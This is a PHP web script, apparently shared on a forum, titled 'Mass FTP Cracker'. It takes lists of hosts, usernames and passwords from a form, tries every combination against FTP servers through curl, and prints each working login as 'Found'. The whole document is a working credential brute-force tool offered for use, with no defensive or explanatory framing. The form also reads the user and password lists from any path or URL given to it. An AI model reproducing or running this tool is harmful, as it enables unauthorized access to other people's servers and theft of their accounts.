mass ftp cracker, credit to #MiyaChung#
Code
<center>
<title>Mass FTP Cracker - Private [MiyaChung]</title>
<form method="post" action="">
Hosts : <br>
<textarea name="host" cols="20" rows="4"></textarea><br>
Users : <br>
<input type="text" name="users"><br>
Passwords : <br>
<input type="text" name="passwords"><br>
<input type="submit" name="submit" value="Crack">
</form>
</center>
<?php
/*
Mass FTP Cracker ()
MiyaChung
[email protected]
*/
set_time_limit(0);
ob_start();
if(isset($_POST['submit'])){
if(empty($_POST['host'])){echo 'Host listesini doldurun.<br>';}
if(empty($_POST['users'])){echo 'Users listesini doldurun<br>';}
if(empty($_POST['passwords'])){echo 'Passwords listesini doldurun';}
$hosts=explode("\n",$_POST["host"]);
$users=explode("\n",file_get_contents($_POST['users']));
$pass=explode("\n",file_get_contents($_POST["passwords"]));
echo '<center>Cracking Started,Please wait...</center><br>';
foreach($hosts as $hostlar){
$hosts=trim($hostlar);
foreach($users as $userler){
$userz=trim($userler);
foreach($pass as $passlar){
$passwords=trim($passlar);
$curl = curl_init();
curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($curl, CURLOPT_URL, 'ftp://'.$userz.':'.$passwords.'@'.$hosts.'');
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_FTPLISTONLY,1);
$exec = curl_exec($curl);
if(curl_errno($curl)==0){
echo "<center>".$hosts." - ".$userz." - ".$passwords." Found.</center><br>";
ob_flush();
flush();
curl_close($curl);
}
}
}
}
}
?>


